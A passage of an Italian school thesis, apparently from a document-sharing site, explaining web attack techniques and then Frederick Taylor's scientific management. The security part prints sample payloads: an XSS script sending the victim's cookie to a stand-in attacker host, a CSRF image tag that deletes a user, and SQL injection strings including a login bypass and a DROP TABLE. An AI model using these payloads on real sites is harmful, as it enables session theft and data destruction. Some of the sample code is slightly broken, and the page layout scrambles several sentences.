vuoi
o PayPal
tutte le volte che vuoi
Storia: il Taylorismo
Informatica: la sicurezza web
Sistemi: le tecniche di attacco sul web
Inglese: Internet Security
Elettronica: le microspie
Matematica: gli integrali
utenti e degli altri sistemi della rete. Le funzioni svolte da questo tipo di software
possono andare dalla semplice ricerca di un file in una directory a delle applicazioni
estremamente sofisticate che eseguono in tempo reale vendite o registrazione di dati
finanziari.
Cosa intendiamo per sicurezza
La sicurezza informatica è la tutela del sistema informatico alla violazione da parte di
persone non autorizzate al finire di garantire confidenzialità, autenticità, integrità e
disponibilità dei dati. Sebbene questa definizione sia chiara, in realtà la sicurezza è
una misura che si tenta di massimizzare valutando attentamente l’equilibrio fra costo
del rischio e costo della difesa. IV
Vulnerabilità, minaccia e rischio
Un sistema può incorrere in dei rischi, può essere affetto da vulnerabilità e può essere
minacciato. Ma qual è il significato di questi termini?
- Una vulnerabilità, o falla, è la caratteristica di un componente per cui risulta
suscettibile a particolari situazioni che portano al guasto, spesso improvviso, del
componente stesso o di un altro che si trova in rapporto con quello fallato.
- La minaccia è la causa che provoca il guasto di cui si è appena detto.
- Il rischio è la probabilità che una falla sia incontrata (o scoperta) da una
minaccia, associata all’intenzione di sfruttarla per trarne un vantaggio. Perciò,
possiamo dire che vulnerabilità + rischio = minaccia.
Tecniche di attacco
Una normale analisi del codice, fatta da un programmatore anche esperto, non può
rilevare i problemi o le falle di sicurezza dell’applicazione. Da una parte infatti, il
testing manuale non può provare tutte le sequenze di input, e non pensa mai a
manipolare l’applicazione per testarne la risposta. Dall’altra, i tool di testing
automatizzati, non essendo progettati per un’applicazione specifica, non funzionano
per tutti.
Tipi di attacco
1. Information gathering – Messaggi ed errori
Non si tratta di un vero e proprio attacco, in quanto si cerca di trovare ogni
informazione tecnica sull’applicazione e sul sistema. Ha una pericolosità bassissima
ma è il primo passo verso la maggioranza degli attacchi seri. Si parte messaggi di
errore standard (400, 401, 404) per continuare poi a cercare messaggi di notice o di
warning, provando a modificare le variabili GET e POST con delle sequenze casuali.
Esistono dei tool free di testing automatizzato che ricavano le informazioni sul
sistema.
2. Cross-Site scripting
È un tipo di attacco molto semplice da portare a termine. Esso e diretto verso l’utente
è non verso il sistema (direttamente). Ma quando l’utente prescelto è un
amministratore, cambia tutta la prospettiva dell’attacco. Esso richiede una minima
conoscenza del linguaggio JavaScript ed un sito web che registri degli input utente,
senza applicare un filtro, prima di stamparli: ad esempio un commento su un forum,
un articolo di un blog, il commento a un articolo. Alle volte può essere adoperato un
messaggio di posta elettronica in html contenente lo script java.
V
Prendiamo in esempio un blog personale dove gli utenti, visitatori abituali leggono le
varie notizie e commentano. L’utente che attacca, inserisce il commento:
<script type="text/javascript">
alert("Questo blog è stato trasferito");
window.location = "http://www.sito.attaccante.com/"
</script>
Quando gli altri utenti navigheranno la pagina dove è stato inserito il commento,
saranno reindirizzati verso il.sito.trapola.com non appena avranno premuto il pulsante
‘ok’ del pop-up informativo. In questo sito trappola si potranno inserire delle funzioni
per memorizzare gli indirizzi IP, pubblicità pay-per-visit oppure semplicemente si
rubano gli utenti del sito navigato. Con una piccola aggiunta possiamo anche estrarre
i cookie dell’utente mal capitato! Vediamo un esempio:
<script type="text/javascript">
alert("Questo blog è stato trasferito");
window.location = "http://sito.attaccante.com/cattura.php" + document.cookie;
</script>
3. Cross-Site request forgiers
Come il cross-site scripting, si tratta di una vulnerabilità che sfrutta un utente per
attacare a sua insaputa un’altra applicazione sfruttandone i diritti dell’utente
attaccato.
L’attacco avviene nel momento in cui un utente che possiede i diritti su un a server
attaccato) visita una pagina su un server B (di proprietà dell’attaccante e dove egli
può introdurre una CSRF liberamente).
La pagina costruita dall’attaccante contiene solitamente dei tag che permettono di
eseguire operazioni GET al browser come SRC in IMG, IFRAME etc.
VI
Senza che l’utente se ne accorga possono essere eseguite operazioni su un altro
server o anche sullo stesso come:
<img src="http://www.esempio.com/cancella.php?idutente=22">
L’utente non si accorgerà di nulla, se non di non riuscire a visualizzare alcune
immagini. L’attacco può essere inviato anche con una mail, permettendo di attaccare
a specifici utenti che si trovano dietro a firewall.
4. SQL Injection
Tutte le applicazioni che usano una base di dati, in qualche punto del codice eseguono
una query SQL con i parametri dati dall’utente. Una SQL Injection si verifica quando un
avversario può inserire una serie valida di statement SQL in una query, semplicemente
manipolando i dati di input dell’applicazione
Ad esempio, è probabile che la verifica username e password d’utente inserite in un
form di login, vengano validate eseguendo una query del tipo:
$user = $_POST['nomeutente'];
$password = $_POST['password'];
$query = "SELECT id,nome,cognome FROM utente WHERE nome_utente="' . $username .
'" AND password = "' . $password . '";
mysql_query($query);
Tutti gli utenti inseriranno i due parametri di autentificazione eseguendo il log-in
nell’applicazione, ma i parametri passati non sono controllati prima del controllo. La
SELECT precedente, modificata con una coppia opportuna di username e password
potrebbe svolgere anche altre funzioni.
Infatti, con la query di sotto, certamente Pippo non sarà presente nella tabella utenti
ma comunque questa richiesta ritorna un risultato non vuoto.
VII
$query = "SELECT nome FROM utente WHERE nome_utente ='pippo' AND pass =
'<pass> a caso' UNION SELECT * FROM utente WHERE id='1'";
Questa tecnica è usata anche per rubare i dati.
$articoli = "SELECT * FROM articoli WHERE id_art =" . $_GET['id'] . "";
Modificando la query $articoli con dei dati illegali si può manipolare ulteriormente la
query.
articolo.php?id=1'; DROP TABLE articoli --
Con la solita tecnica abbiamo oltrepassato una protezione in pochi minuti. E
ovviamente questo è un esempio da hacker. Un cracker ne trarrebbe sicuramente un
profitto da questo. Questo tipo di attacco richiede la conoscenza dell’SQL e degli errori
dei programmatori. Un uso avanzato di tali vulnerabilità consente la creazione di un
nuovo record, la cancellazione di uno o più utenti oppure la distruzione di un intero
database.
5. Parameter Tampering
Si tratta di un attacco che approfita del fatto che molti programmatori usano spesso
parametri nascosti, come ad esempio campi hidden, campi di testo fissi (read-only)
oppure parametri fissi di GET, come unica misura di sicurezza.
Nella maggior parte dei casi e sufficiente salvare la pagina, modificando i valori dei
campi e ricaricarla nel browser per inviare la richiesta. Nel forum esempio, possiamo
prendere in esempio l’url richiesta:
http://www.sito.com/articolo.php?id=3&mode=readonly
La curiosità va direttamente sul parametro mode, con il quale probabilmente il
programmatore ha pensato di settare i permessi sull’articolo. Facendo delle prove:
http://www.sito.com/articolo.php?id=3&mode=write
http://www.sito.com/articolo.php?id=3&mode=readwrite
http://www.sito.com/articolo.php?id=3&mode=edit
È probabile che uno di questi conceda il permesso in scrittura.
6. Brute force
L’attacco a forza bruta può essere considerato il più antico che sia mai stato messo in
atto. Nasce infatti contemporaneamente ai sistemi di autentificazione ed è stato
ereditato nelle applicazioni web. Si basa su un principio semplicissimo: l’unico modo di
trovare una password è provare a inserirne qualcuna! Non fa altro che tentare
password casuali fino a trovare quella giusta. Le sequenze possono essere reimpostate
(raccolte dai dizionari), oppure set di caratteri sequenziali. In entrambi i casi risulta
VIII
difficilmente trovare una password se non si conosce l’username. Anche usando tool
automatizzati il successo risulta difficilmente raggiungibile, visto che tutti i programmi
di ultima generazione richiedono passsword con lunghezza non inferiore ai sei
caratteri ed eseguono controlli sul numero di accessi sbagliati o controlli visuali
(CAPTCHA).
Il brute force può dare risultati rapidi solo quando si conoscono cose e abitudini
dell’utente.
7. Cookie poisoning
L’avvelenamento dei cookie è una delle tecniche di manipolazione dei parametri di
applicazione. Consiste nel cambiare i dati salvati nei cookie dell’applicazione. Basta
trovare la directory in cui il browser salva il cookie (generalmente chiamato
utentesito.it) aprirlo con un editor testo e modificarlo. Dopo aver salvato il file,
aggiorniamo la pagina nel browser e vediamo l’infezione del sito con il cookie
modificato. IX
Taylorismo
Il taylorismo è una teoria economica dell’organizzazione
scientifica del lavoro, elaborata all’inizio del Novecento
dall’ingegnere statunitense Frederick W. Taylor (1856 – 1915),
Bethelehem Steel Co.
che la applicò nell’industria metallurgica
e la illustrò in alcuni importanti scritti. Essa si fondava sul
principio che “la migliore produzione si determina quando a
ogni lavoratore è affidato un compito specifico, da svolgere in
un determinato tempo e in un determinato modo”.
Qualsiasi operazione del ciclo produttivo industriale può dunque essere scomposta e
manager,
studiata nei minimi particolari: è questo, secondo Taylor, il compito dei che
sulla base delle verifiche empiriche devono stabilire: qual è il compito specifico di ogni
lavoratore; in quanto tempo lo deve svolgere e in che modo lo deve svolgere. Così è
possibile arrivare alla razionalizzazione del ciclo produttivo, ossia alla finalizzazione a
criteri di ottimalità economica, attraverso l’eliminazione degli sforzi inutili,
l’introduzione di sistemi di incentivazione, la gerarchizzazione interna e la rigorosa
selezione del personale.
L’applicazione pratica di questi principi aprì la strada alla prima catena di montaggio
Ford Motors Company
prodotta negli stabilimenti della nel 1913, e di fatto dunque
modificò tutta l’organizzazione del lavoro nelle industrie. Particolarmente trasformata,
nel nuovo sistema produttivo, fu la figura dell’operaio, cui il taylorismo tolse ogni tipo
di discrezionalità: mentre in precedenza egli poteva scegliere i tempi e i modi del suo
lavoro, con l’introduzione delle nuove procedure fu costretto ad adattarsi ai ritmi e ai
metodi scelti dai dirigenti. Proprio per questo il taylorismo è stato fin dall’inizio
duramente contestato dal movimento dei lavoratori e dai sindacati. Ciò che dovrebbe,
secondo Taylor, spingere gli operai ad adattarsi alle nuove condizioni di lavoro è
l’incentivo economico reso possibile dalla maggiore produttività: “Ogni qual volta
l’operaio riesce a completare il proprio compito in modo esatto ed entro il tempo
prestabilito, egli percepisce una maggiorazione variante dal 30 al 100 per cento
rispetto alla propria paga base”. Anche questa versione strettamente economicista del
lavoro è stata contestata dai sindacati, che d’altra parte Taylor, tutto proteso verso la
X
massima efficienza e il massimo profitto, considerava inutili, nocivi e destinati alla
human relations system
dissoluzione. In tempi più recenti le dottrine della e della
analysis, basate sull’analisi di tutta la complessa realtà aziendale, hanno determinato
il superamento del taylorismo e della sua rigorosa ma limitata analisi del binomio
uomo-macchina.
Questa teoria si sviluppava in un paese a capitalismo avanzato (gli Stati Uniti) negli stessi anni in